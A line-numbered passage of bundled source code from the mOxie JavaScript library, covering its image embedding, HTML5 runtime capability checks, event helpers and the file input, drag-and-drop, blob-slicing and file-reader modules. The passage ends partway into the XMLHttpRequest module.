5890 @param {Number} [opts.width] The width of an embed (defaults to the image width)
5891 @param {Number} [opts.height] The height of an embed (defaults to the image height)
5892 @param {String} [type="image/jpeg"] Mime type
5893 @param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg
5894 @param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions
5895 */
5896 embed: function(el, opts) {
5897 var self = this
5898 , runtime // this has to be outside of all the closures to contain proper runtime
5899 ;
5900
5901 opts = Basic.extend({
5902 width: this.width,
5903 height: this.height,
5904 type: this.type || 'image/jpeg',
5905 quality: 90
5906 }, opts || {});
5907
5908
5909 function render(type, quality) {
5910 var img = this;
5911
5912 // if possible, embed a canvas element directly
5913 if (Env.can('create_canvas')) {
5914 var canvas = img.getAsCanvas();
5915 if (canvas) {
5916 el.appendChild(canvas);
5917 canvas = null;
5918 img.destroy();
5919 self.trigger('embedded');
5920 return;
5921 }
5922 }
5923
5924 var dataUrl = img.getAsDataURL(type, quality);
5925 if (!dataUrl) {
5926 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
5927 }
5928
5929 if (Env.can('use_data_uri_of', dataUrl.length)) {
5930 el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />';
5931 img.destroy();
5932 self.trigger('embedded');
5933 } else {
5934 var tr = new Transporter();
5935
5936 tr.bind("TransportingComplete", function() {
5937 runtime = self.connectRuntime(this.result.ruid);
5938
5939 self.bind("Embedded", function() {
5940 // position and size properly
5941 Basic.extend(runtime.getShimContainer().style, {
5942 //position: 'relative',
5943 top: '0px',
5944 left: '0px',
5945 width: img.width + 'px',
5946 height: img.height + 'px'
5947 });
5948
5949 // some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's
5950 // position type changes (in Gecko), but since we basically need this only in IEs 6/7 and
5951 // sometimes 8 and they do not have this problem, we can comment this for now
5952 /*tr.bind("RuntimeInit", function(e, runtime) {
5953 tr.destroy();
5954 runtime.destroy();
5955 onResize.call(self); // re-feed our image data
5956 });*/
5957
5958 runtime = null; // release
5959 }, 999);
5960
5961 runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height);
5962 img.destroy();
5963 });
5964
5965 tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, {
5966 required_caps: {
5967 display_media: true
5968 },
5969 runtime_order: 'flash,silverlight',
5970 container: el
5971 });
5972 }
5973 }
5974
5975 try {
5976 if (!(el = Dom.get(el))) {
5977 throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR);
5978 }
5979
5980 if (!this.size) { // only preloaded image objects can be used as source
5981 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5982 }
5983
5984 // high-resolution images cannot be consistently handled across the runtimes
5985 if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
5986 //throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
5987 }
5988
5989 var imgCopy = new Image();
5990
5991 imgCopy.bind("Resize", function() {
5992 render.call(this, opts.type, opts.quality);
5993 });
5994
5995 imgCopy.bind("Load", function() {
5996 imgCopy.downsize(opts);
5997 });
5998
5999 // if embedded thumb data is available and dimensions are big enough, use it
6000 if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) {
6001 imgCopy.load(this.meta.thumb.data);
6002 } else {
6003 imgCopy.clone(this, false);
6004 }
6005
6006 return imgCopy;
6007 } catch(ex) {
6008 // for now simply trigger error event
6009 this.trigger('error', ex.code);
6010 }
6011 },
6012
6013 /**
6014 Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object.
6015
6016 @method destroy
6017 */
6018 destroy: function() {
6019 if (this.ruid) {
6020 this.getRuntime().exec.call(this, 'Image', 'destroy');
6021 this.disconnectRuntime();
6022 }
6023 this.unbindAll();
6024 }
6025 });
6026
6027
6028 // this is here, because in order to bind properly, we need uid, which is created above
6029 this.handleEventProps(dispatches);
6030
6031 this.bind('Load Resize', function() {
6032 _updateInfo.call(this);
6033 }, 999);
6034
6035
6036 function _updateInfo(info) {
6037 if (!info) {
6038 info = this.exec('Image', 'getInfo');
6039 }
6040
6041 this.size = info.size;
6042 this.width = info.width;
6043 this.height = info.height;
6044 this.type = info.type;
6045 this.meta = info.meta;
6046
6047 // update file name, only if empty
6048 if (this.name === '') {
6049 this.name = info.name;
6050 }
6051 }
6052
6053
6054 function _load(src) {
6055 var srcType = Basic.typeOf(src);
6056
6057 try {
6058 // if source is Image
6059 if (src instanceof Image) {
6060 if (!src.size) { // only preloaded image objects can be used as source
6061 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
6062 }
6063 _loadFromImage.apply(this, arguments);
6064 }
6065 // if source is o.Blob/o.File
6066 else if (src instanceof Blob) {
6067 if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) {
6068 throw new x.ImageError(x.ImageError.WRONG_FORMAT);
6069 }
6070 _loadFromBlob.apply(this, arguments);
6071 }
6072 // if native blob/file
6073 else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) {
6074 _load.call(this, new File(null, src), arguments[1]);
6075 }
6076 // if String
6077 else if (srcType === 'string') {
6078 // if dataUrl String
6079 if (src.substr(0, 5) === 'data:') {
6080 _load.call(this, new Blob(null, { data: src }), arguments[1]);
6081 }
6082 // else assume Url, either relative or absolute
6083 else {
6084 _loadFromUrl.apply(this, arguments);
6085 }
6086 }
6087 // if source seems to be an img node
6088 else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') {
6089 _load.call(this, src.src, arguments[1]);
6090 }
6091 else {
6092 throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR);
6093 }
6094 } catch(ex) {
6095 // for now simply trigger error event
6096 this.trigger('error', ex.code);
6097 }
6098 }
6099
6100
6101 function _loadFromImage(img, exact) {
6102 var runtime = this.connectRuntime(img.ruid);
6103 this.ruid = runtime.uid;
6104 runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact));
6105 }
6106
6107
6108 function _loadFromBlob(blob, options) {
6109 var self = this;
6110
6111 self.name = blob.name || '';
6112
6113 function exec(runtime) {
6114 self.ruid = runtime.uid;
6115 runtime.exec.call(self, 'Image', 'loadFromBlob', blob);
6116 }
6117
6118 if (blob.isDetached()) {
6119 this.bind('RuntimeInit', function(e, runtime) {
6120 exec(runtime);
6121 });
6122
6123 // convert to object representation
6124 if (options && typeof(options.required_caps) === 'string') {
6125 options.required_caps = Runtime.parseCaps(options.required_caps);
6126 }
6127
6128 this.connectRuntime(Basic.extend({
6129 required_caps: {
6130 access_image_binary: true,
6131 resize_image: true
6132 }
6133 }, options));
6134 } else {
6135 exec(this.connectRuntime(blob.ruid));
6136 }
6137 }
6138
6139
6140 function _loadFromUrl(url, options) {
6141 var self = this, xhr;
6142
6143 xhr = new XMLHttpRequest();
6144
6145 xhr.open('get', url);
6146 xhr.responseType = 'blob';
6147
6148 xhr.onprogress = function(e) {
6149 self.trigger(e);
6150 };
6151
6152 xhr.onload = function() {
6153 _loadFromBlob.call(self, xhr.response, true);
6154 };
6155
6156 xhr.onerror = function(e) {
6157 self.trigger(e);
6158 };
6159
6160 xhr.onloadend = function() {
6161 xhr.destroy();
6162 };
6163
6164 xhr.bind('RuntimeError', function(e, err) {
6165 self.trigger('RuntimeError', err);
6166 });
6167
6168 xhr.send(null, options);
6169 }
6170 }
6171
6172 // virtual world will crash on you if image has a resolution higher than this:
6173 Image.MAX_RESIZE_WIDTH = 8192;
6174 Image.MAX_RESIZE_HEIGHT = 8192;
6175
6176 Image.prototype = EventTarget.instance;
6177
6178 return Image;
6179});
6180
6181// Included from: src/javascript/runtime/html5/Runtime.js
6182
6183/**
6184 * Runtime.js
6185 *
6186 * Copyright 2013, Moxiecode Systems AB
6187 * Released under GPL License.
6188 *
6189 * License: http://www.plupload.com/license
6190 * Contributing: http://www.plupload.com/contributing
6191 */
6192
6193/*global File:true */
6194
6195/**
6196Defines constructor for HTML5 runtime.
6197
6198@class moxie/runtime/html5/Runtime
6199@private
6200*/
6201define("moxie/runtime/html5/Runtime", [
6202 "moxie/core/utils/Basic",
6203 "moxie/core/Exceptions",
6204 "moxie/runtime/Runtime",
6205 "moxie/core/utils/Env"
6206], function(Basic, x, Runtime, Env) {
6207
6208 var type = "html5", extensions = {};
6209
6210 function Html5Runtime(options) {
6211 var I = this
6212 , Test = Runtime.capTest
6213 , True = Runtime.capTrue
6214 ;
6215
6216 var caps = Basic.extend({
6217 access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL),
6218 access_image_binary: function() {
6219 return I.can('access_binary') && !!extensions.Image;
6220 },
6221 display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')),
6222 do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()),
6223 drag_and_drop: Test(function() {
6224 // this comes directly from Modernizr: http://www.modernizr.com/
6225 var div = document.createElement('div');
6226 // IE has support for drag and drop since version 5, but doesn't support dropping files from desktop
6227 return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) &&
6228 (Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>'));
6229 }()),
6230 filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
6231 return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) ||
6232 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
6233 (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
6234 }()),
6235 return_response_headers: True,
6236 return_response_type: function(responseType) {
6237 if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported
6238 return true;
6239 }
6240 return Env.can('return_response_type', responseType);
6241 },
6242 return_status_code: True,
6243 report_upload_progress: Test(window.XMLHttpRequest && new XMLHttpRequest().upload),
6244 resize_image: function() {
6245 return I.can('access_binary') && Env.can('create_canvas');
6246 },
6247 select_file: function() {
6248 return Env.can('use_fileinput') && window.File;
6249 },
6250 select_folder: function() {
6251 return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>=');
6252 },
6253 select_multiple: function() {
6254 // it is buggy on Safari Windows and iOS
6255 return I.can('select_file') &&
6256 !(Env.browser === 'Safari' && Env.os === 'Windows') &&
6257 !(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<'));
6258 },
6259 send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))),
6260 send_custom_headers: Test(window.XMLHttpRequest),
6261 send_multipart: function() {
6262 return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string');
6263 },
6264 slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)),
6265 stream_upload: function(){
6266 return I.can('slice_blob') && I.can('send_multipart');
6267 },
6268 summon_file_dialog: function() { // yeah... some dirty sniffing here...
6269 return I.can('select_file') && (
6270 (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
6271 (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
6272 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
6273 !!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
6274 );
6275 },
6276 upload_filesize: True
6277 },
6278 arguments[2]
6279 );
6280
6281 Runtime.call(this, options, (arguments[1] || type), caps);
6282
6283
6284 Basic.extend(this, {
6285
6286 init : function() {
6287 this.trigger("Init");
6288 },
6289
6290 destroy: (function(destroy) { // extend default destroy method
6291 return function() {
6292 destroy.call(I);
6293 destroy = I = null;
6294 };
6295 }(this.destroy))
6296 });
6297
6298 Basic.extend(this.getShim(), extensions);
6299 }
6300
6301 Runtime.addConstructor(type, Html5Runtime);
6302
6303 return extensions;
6304});
6305
6306// Included from: src/javascript/core/utils/Events.js
6307
6308/**
6309 * Events.js
6310 *
6311 * Copyright 2013, Moxiecode Systems AB
6312 * Released under GPL License.
6313 *
6314 * License: http://www.plupload.com/license
6315 * Contributing: http://www.plupload.com/contributing
6316 */
6317
6318define('moxie/core/utils/Events', [
6319 'moxie/core/utils/Basic'
6320], function(Basic) {
6321 var eventhash = {}, uid = 'moxie_' + Basic.guid();
6322
6323 // IE W3C like event funcs
6324 function preventDefault() {
6325 this.returnValue = false;
6326 }
6327
6328 function stopPropagation() {
6329 this.cancelBubble = true;
6330 }
6331
6332 /**
6333 Adds an event handler to the specified object and store reference to the handler
6334 in objects internal Plupload registry (@see removeEvent).
6335
6336 @method addEvent
6337 @for Utils
6338 @static
6339 @param {Object} obj DOM element like object to add handler to.
6340 @param {String} name Name to add event listener to.
6341 @param {Function} callback Function to call when event occurs.
6342 @param {String} [key] that might be used to add specifity to the event record.
6343 */
6344 var addEvent = function(obj, name, callback, key) {
6345 var func, events;
6346
6347 name = name.toLowerCase();
6348
6349 // Add event listener
6350 if (obj.addEventListener) {
6351 func = callback;
6352
6353 obj.addEventListener(name, func, false);
6354 } else if (obj.attachEvent) {
6355 func = function() {
6356 var evt = window.event;
6357
6358 if (!evt.target) {
6359 evt.target = evt.srcElement;
6360 }
6361
6362 evt.preventDefault = preventDefault;
6363 evt.stopPropagation = stopPropagation;
6364
6365 callback(evt);
6366 };
6367
6368 obj.attachEvent('on' + name, func);
6369 }
6370
6371 // Log event handler to objects internal mOxie registry
6372 if (!obj[uid]) {
6373 obj[uid] = Basic.guid();
6374 }
6375
6376 if (!eventhash.hasOwnProperty(obj[uid])) {
6377 eventhash[obj[uid]] = {};
6378 }
6379
6380 events = eventhash[obj[uid]];
6381
6382 if (!events.hasOwnProperty(name)) {
6383 events[name] = [];
6384 }
6385
6386 events[name].push({
6387 func: func,
6388 orig: callback, // store original callback for IE
6389 key: key
6390 });
6391 };
6392
6393
6394 /**
6395 Remove event handler from the specified object. If third argument (callback)
6396 is not specified remove all events with the specified name.
6397
6398 @method removeEvent
6399 @static
6400 @param {Object} obj DOM element to remove event listener(s) from.
6401 @param {String} name Name of event listener to remove.
6402 @param {Function|String} [callback] might be a callback or unique key to match.
6403 */
6404 var removeEvent = function(obj, name, callback) {
6405 var type, undef;
6406
6407 name = name.toLowerCase();
6408
6409 if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) {
6410 type = eventhash[obj[uid]][name];
6411 } else {
6412 return;
6413 }
6414
6415 for (var i = type.length - 1; i >= 0; i--) {
6416 // undefined or not, key should match
6417 if (type[i].orig === callback || type[i].key === callback) {
6418 if (obj.removeEventListener) {
6419 obj.removeEventListener(name, type[i].func, false);
6420 } else if (obj.detachEvent) {
6421 obj.detachEvent('on'+name, type[i].func);
6422 }
6423
6424 type[i].orig = null;
6425 type[i].func = null;
6426 type.splice(i, 1);
6427
6428 // If callback was passed we are done here, otherwise proceed
6429 if (callback !== undef) {
6430 break;
6431 }
6432 }
6433 }
6434
6435 // If event array got empty, remove it
6436 if (!type.length) {
6437 delete eventhash[obj[uid]][name];
6438 }
6439
6440 // If mOxie registry has become empty, remove it
6441 if (Basic.isEmptyObj(eventhash[obj[uid]])) {
6442 delete eventhash[obj[uid]];
6443
6444 // IE doesn't let you remove DOM object property with - delete
6445 try {
6446 delete obj[uid];
6447 } catch(e) {
6448 obj[uid] = undef;
6449 }
6450 }
6451 };
6452
6453
6454 /**
6455 Remove all kind of events from the specified object
6456
6457 @method removeAllEvents
6458 @static
6459 @param {Object} obj DOM element to remove event listeners from.
6460 @param {String} [key] unique key to match, when removing events.
6461 */
6462 var removeAllEvents = function(obj, key) {
6463 if (!obj || !obj[uid]) {
6464 return;
6465 }
6466
6467 Basic.each(eventhash[obj[uid]], function(events, name) {
6468 removeEvent(obj, name, key);
6469 });
6470 };
6471
6472 return {
6473 addEvent: addEvent,
6474 removeEvent: removeEvent,
6475 removeAllEvents: removeAllEvents
6476 };
6477});
6478
6479// Included from: src/javascript/runtime/html5/file/FileInput.js
6480
6481/**
6482 * FileInput.js
6483 *
6484 * Copyright 2013, Moxiecode Systems AB
6485 * Released under GPL License.
6486 *
6487 * License: http://www.plupload.com/license
6488 * Contributing: http://www.plupload.com/contributing
6489 */
6490
6491/**
6492@class moxie/runtime/html5/file/FileInput
6493@private
6494*/
6495define("moxie/runtime/html5/file/FileInput", [
6496 "moxie/runtime/html5/Runtime",
6497 "moxie/file/File",
6498 "moxie/core/utils/Basic",
6499 "moxie/core/utils/Dom",
6500 "moxie/core/utils/Events",
6501 "moxie/core/utils/Mime",
6502 "moxie/core/utils/Env"
6503], function(extensions, File, Basic, Dom, Events, Mime, Env) {
6504
6505 function FileInput() {
6506 var _options;
6507
6508 Basic.extend(this, {
6509 init: function(options) {
6510 var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top;
6511
6512 _options = options;
6513
6514 // figure out accept string
6515 mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension'));
6516
6517 shimContainer = I.getShimContainer();
6518
6519 shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' +
6520 (_options.multiple && I.can('select_multiple') ? 'multiple' : '') +
6521 (_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+
6522 (mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />';
6523
6524 input = Dom.get(I.uid);
6525
6526 // prepare file input to be placed underneath the browse_button element
6527 Basic.extend(input.style, {
6528 position: 'absolute',
6529 top: 0,
6530 left: 0,
6531 width: '100%',
6532 height: '100%'
6533 });
6534
6535
6536 browseButton = Dom.get(_options.browse_button);
6537
6538 // Route click event to the input[type=file] element for browsers that support such behavior
6539 if (I.can('summon_file_dialog')) {
6540 if (Dom.getStyle(browseButton, 'position') === 'static') {
6541 browseButton.style.position = 'relative';
6542 }
6543
6544 zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
6545
6546 browseButton.style.zIndex = zIndex;
6547 shimContainer.style.zIndex = zIndex - 1;
6548
6549 Events.addEvent(browseButton, 'click', function(e) {
6550 var input = Dom.get(I.uid);
6551 if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
6552 input.click();
6553 }
6554 e.preventDefault();
6555 }, comp.uid);
6556 }
6557
6558 /* Since we have to place input[type=file] on top of the browse_button for some browsers,
6559 browse_button loses interactivity, so we restore it here */
6560 top = I.can('summon_file_dialog') ? browseButton : shimContainer;
6561
6562 Events.addEvent(top, 'mouseover', function() {
6563 comp.trigger('mouseenter');
6564 }, comp.uid);
6565
6566 Events.addEvent(top, 'mouseout', function() {
6567 comp.trigger('mouseleave');
6568 }, comp.uid);
6569
6570 Events.addEvent(top, 'mousedown', function() {
6571 comp.trigger('mousedown');
6572 }, comp.uid);
6573
6574 Events.addEvent(Dom.get(_options.container), 'mouseup', function() {
6575 comp.trigger('mouseup');
6576 }, comp.uid);
6577
6578
6579 input.onchange = function onChange(e) { // there should be only one handler for this
6580 comp.files = [];
6581
6582 Basic.each(this.files, function(file) {
6583 var relativePath = '';
6584
6585 if (_options.directory) {
6586 // folders are represented by dots, filter them out (Chrome 11+)
6587 if (file.name == ".") {
6588 // if it looks like a folder...
6589 return true;
6590 }
6591 }
6592
6593 if (file.webkitRelativePath) {
6594 relativePath = '/' + file.webkitRelativePath.replace(/^\//, '');
6595 }
6596
6597 file = new File(I.uid, file);
6598 file.relativePath = relativePath;
6599
6600 comp.files.push(file);
6601 });
6602
6603 // clearing the value enables the user to select the same file again if they want to
6604 if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') {
6605 this.value = '';
6606 } else {
6607 // in IE input[type="file"] is read-only so the only way to reset it is to re-insert it
6608 var clone = this.cloneNode(true);
6609 this.parentNode.replaceChild(clone, this);
6610 clone.onchange = onChange;
6611 }
6612
6613 if (comp.files.length) {
6614 comp.trigger('change');
6615 }
6616 };
6617
6618 // ready event is perfectly asynchronous
6619 comp.trigger({
6620 type: 'ready',
6621 async: true
6622 });
6623
6624 shimContainer = null;
6625 },
6626
6627
6628 disable: function(state) {
6629 var I = this.getRuntime(), input;
6630
6631 if ((input = Dom.get(I.uid))) {
6632 input.disabled = !!state;
6633 }
6634 },
6635
6636 destroy: function() {
6637 var I = this.getRuntime()
6638 , shim = I.getShim()
6639 , shimContainer = I.getShimContainer()
6640 ;
6641
6642 Events.removeAllEvents(shimContainer, this.uid);
6643 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
6644 Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
6645
6646 if (shimContainer) {
6647 shimContainer.innerHTML = '';
6648 }
6649
6650 shim.removeInstance(this.uid);
6651
6652 _options = shimContainer = shim = null;
6653 }
6654 });
6655 }
6656
6657 return (extensions.FileInput = FileInput);
6658});
6659
6660// Included from: src/javascript/runtime/html5/file/Blob.js
6661
6662/**
6663 * Blob.js
6664 *
6665 * Copyright 2013, Moxiecode Systems AB
6666 * Released under GPL License.
6667 *
6668 * License: http://www.plupload.com/license
6669 * Contributing: http://www.plupload.com/contributing
6670 */
6671
6672/**
6673@class moxie/runtime/html5/file/Blob
6674@private
6675*/
6676define("moxie/runtime/html5/file/Blob", [
6677 "moxie/runtime/html5/Runtime",
6678 "moxie/file/Blob"
6679], function(extensions, Blob) {
6680
6681 function HTML5Blob() {
6682 function w3cBlobSlice(blob, start, end) {
6683 var blobSlice;
6684
6685 if (window.File.prototype.slice) {
6686 try {
6687 blob.slice(); // depricated version will throw WRONG_ARGUMENTS_ERR exception
6688 return blob.slice(start, end);
6689 } catch (e) {
6690 // depricated slice method
6691 return blob.slice(start, end - start);
6692 }
6693 // slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672
6694 } else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) {
6695 return blobSlice.call(blob, start, end);
6696 } else {
6697 return null; // or throw some exception
6698 }
6699 }
6700
6701 this.slice = function() {
6702 return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments));
6703 };
6704 }
6705
6706 return (extensions.Blob = HTML5Blob);
6707});
6708
6709// Included from: src/javascript/runtime/html5/file/FileDrop.js
6710
6711/**
6712 * FileDrop.js
6713 *
6714 * Copyright 2013, Moxiecode Systems AB
6715 * Released under GPL License.
6716 *
6717 * License: http://www.plupload.com/license
6718 * Contributing: http://www.plupload.com/contributing
6719 */
6720
6721/**
6722@class moxie/runtime/html5/file/FileDrop
6723@private
6724*/
6725define("moxie/runtime/html5/file/FileDrop", [
6726 "moxie/runtime/html5/Runtime",
6727 'moxie/file/File',
6728 "moxie/core/utils/Basic",
6729 "moxie/core/utils/Dom",
6730 "moxie/core/utils/Events",
6731 "moxie/core/utils/Mime"
6732], function(extensions, File, Basic, Dom, Events, Mime) {
6733
6734 function FileDrop() {
6735 var _files = [], _allowedExts = [], _options, _ruid;
6736
6737 Basic.extend(this, {
6738 init: function(options) {
6739 var comp = this, dropZone;
6740
6741 _options = options;
6742 _ruid = comp.ruid; // every dropped-in file should have a reference to the runtime
6743 _allowedExts = _extractExts(_options.accept);
6744 dropZone = _options.container;
6745
6746 Events.addEvent(dropZone, 'dragover', function(e) {
6747 if (!_hasFiles(e)) {
6748 return;
6749 }
6750 e.preventDefault();
6751 e.dataTransfer.dropEffect = 'copy';
6752 }, comp.uid);
6753
6754 Events.addEvent(dropZone, 'drop', function(e) {
6755 if (!_hasFiles(e)) {
6756 return;
6757 }
6758 e.preventDefault();
6759
6760 _files = [];
6761
6762 // Chrome 21+ accepts folders via Drag'n'Drop
6763 if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) {
6764 _readItems(e.dataTransfer.items, function() {
6765 comp.files = _files;
6766 comp.trigger("drop");
6767 });
6768 } else {
6769 Basic.each(e.dataTransfer.files, function(file) {
6770 _addFile(file);
6771 });
6772 comp.files = _files;
6773 comp.trigger("drop");
6774 }
6775 }, comp.uid);
6776
6777 Events.addEvent(dropZone, 'dragenter', function(e) {
6778 comp.trigger("dragenter");
6779 }, comp.uid);
6780
6781 Events.addEvent(dropZone, 'dragleave', function(e) {
6782 comp.trigger("dragleave");
6783 }, comp.uid);
6784 },
6785
6786 destroy: function() {
6787 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
6788 _ruid = _files = _allowedExts = _options = null;
6789 }
6790 });
6791
6792
6793 function _hasFiles(e) {
6794 if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover
6795 return false;
6796 }
6797
6798 var types = Basic.toArray(e.dataTransfer.types || []);
6799
6800 return Basic.inArray("Files", types) !== -1 ||
6801 Basic.inArray("public.file-url", types) !== -1 || // Safari < 5
6802 Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6)
6803 ;
6804 }
6805
6806
6807 function _addFile(file, relativePath) {
6808 if (_isAcceptable(file)) {
6809 var fileObj = new File(_ruid, file);
6810 fileObj.relativePath = relativePath || '';
6811 _files.push(fileObj);
6812 }
6813 }
6814
6815
6816 function _extractExts(accept) {
6817 var exts = [];
6818 for (var i = 0; i < accept.length; i++) {
6819 [].push.apply(exts, accept[i].extensions.split(/\s*,\s*/));
6820 }
6821 return Basic.inArray('*', exts) === -1 ? exts : [];
6822 }
6823
6824
6825 function _isAcceptable(file) {
6826 if (!_allowedExts.length) {
6827 return true;
6828 }
6829 var ext = Mime.getFileExtension(file.name);
6830 return !ext || Basic.inArray(ext, _allowedExts) !== -1;
6831 }
6832
6833
6834 function _readItems(items, cb) {
6835 var entries = [];
6836 Basic.each(items, function(item) {
6837 var entry = item.webkitGetAsEntry();
6838 // Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579)
6839 if (entry) {
6840 // file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61
6841 if (entry.isFile) {
6842 _addFile(item.getAsFile(), entry.fullPath);
6843 } else {
6844 entries.push(entry);
6845 }
6846 }
6847 });
6848
6849 if (entries.length) {
6850 _readEntries(entries, cb);
6851 } else {
6852 cb();
6853 }
6854 }
6855
6856
6857 function _readEntries(entries, cb) {
6858 var queue = [];
6859 Basic.each(entries, function(entry) {
6860 queue.push(function(cbcb) {
6861 _readEntry(entry, cbcb);
6862 });
6863 });
6864 Basic.inSeries(queue, function() {
6865 cb();
6866 });
6867 }
6868
6869
6870 function _readEntry(entry, cb) {
6871 if (entry.isFile) {
6872 entry.file(function(file) {
6873 _addFile(file, entry.fullPath);
6874 cb();
6875 }, function() {
6876 // fire an error event maybe
6877 cb();
6878 });
6879 } else if (entry.isDirectory) {
6880 _readDirEntry(entry, cb);
6881 } else {
6882 cb(); // not file, not directory? what then?..
6883 }
6884 }
6885
6886
6887 function _readDirEntry(dirEntry, cb) {
6888 var entries = [], dirReader = dirEntry.createReader();
6889
6890 // keep quering recursively till no more entries
6891 function getEntries(cbcb) {
6892 dirReader.readEntries(function(moreEntries) {
6893 if (moreEntries.length) {
6894 [].push.apply(entries, moreEntries);
6895 getEntries(cbcb);
6896 } else {
6897 cbcb();
6898 }
6899 }, cbcb);
6900 }
6901
6902 // ...and you thought FileReader was crazy...
6903 getEntries(function() {
6904 _readEntries(entries, cb);
6905 });
6906 }
6907 }
6908
6909 return (extensions.FileDrop = FileDrop);
6910});
6911
6912// Included from: src/javascript/runtime/html5/file/FileReader.js
6913
6914/**
6915 * FileReader.js
6916 *
6917 * Copyright 2013, Moxiecode Systems AB
6918 * Released under GPL License.
6919 *
6920 * License: http://www.plupload.com/license
6921 * Contributing: http://www.plupload.com/contributing
6922 */
6923
6924/**
6925@class moxie/runtime/html5/file/FileReader
6926@private
6927*/
6928define("moxie/runtime/html5/file/FileReader", [
6929 "moxie/runtime/html5/Runtime",
6930 "moxie/core/utils/Encode",
6931 "moxie/core/utils/Basic"
6932], function(extensions, Encode, Basic) {
6933
6934 function FileReader() {
6935 var _fr, _convertToBinary = false;
6936
6937 Basic.extend(this, {
6938
6939 read: function(op, blob) {
6940 var comp = this;
6941
6942 comp.result = '';
6943
6944 _fr = new window.FileReader();
6945
6946 _fr.addEventListener('progress', function(e) {
6947 comp.trigger(e);
6948 });
6949
6950 _fr.addEventListener('load', function(e) {
6951 comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result;
6952 comp.trigger(e);
6953 });
6954
6955 _fr.addEventListener('error', function(e) {
6956 comp.trigger(e, _fr.error);
6957 });
6958
6959 _fr.addEventListener('loadend', function(e) {
6960 _fr = null;
6961 comp.trigger(e);
6962 });
6963
6964 if (Basic.typeOf(_fr[op]) === 'function') {
6965 _convertToBinary = false;
6966 _fr[op](blob.getSource());
6967 } else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+
6968 _convertToBinary = true;
6969 _fr.readAsDataURL(blob.getSource());
6970 }
6971 },
6972
6973 abort: function() {
6974 if (_fr) {
6975 _fr.abort();
6976 }
6977 },
6978
6979 destroy: function() {
6980 _fr = null;
6981 }
6982 });
6983
6984 function _toBinary(str) {
6985 return Encode.atob(str.substring(str.indexOf('base64,') + 7));
6986 }
6987 }
6988
6989 return (extensions.FileReader = FileReader);
6990});
6991
6992// Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js
6993
6994/**
6995 * XMLHttpRequest.js
6996 *
6997 * Copyright 2013, Moxiecode Systems AB
6998 * Released under GPL License.
6999 *
7000 * License: http://www.plupload.com/license
7001 * Contributing: http://www.plupload.com/contributing
7002 */
7003
7004/*global ActiveXObject:true */
7005
7006/**
7007@class moxie/runtime/html5/xhr/XMLHttpRequest
7008@private
7009*/
7010define("moxie/runtime/html5/xhr/XMLHttpRequest", [
7011 "moxie/runtime/html5/Runtime",
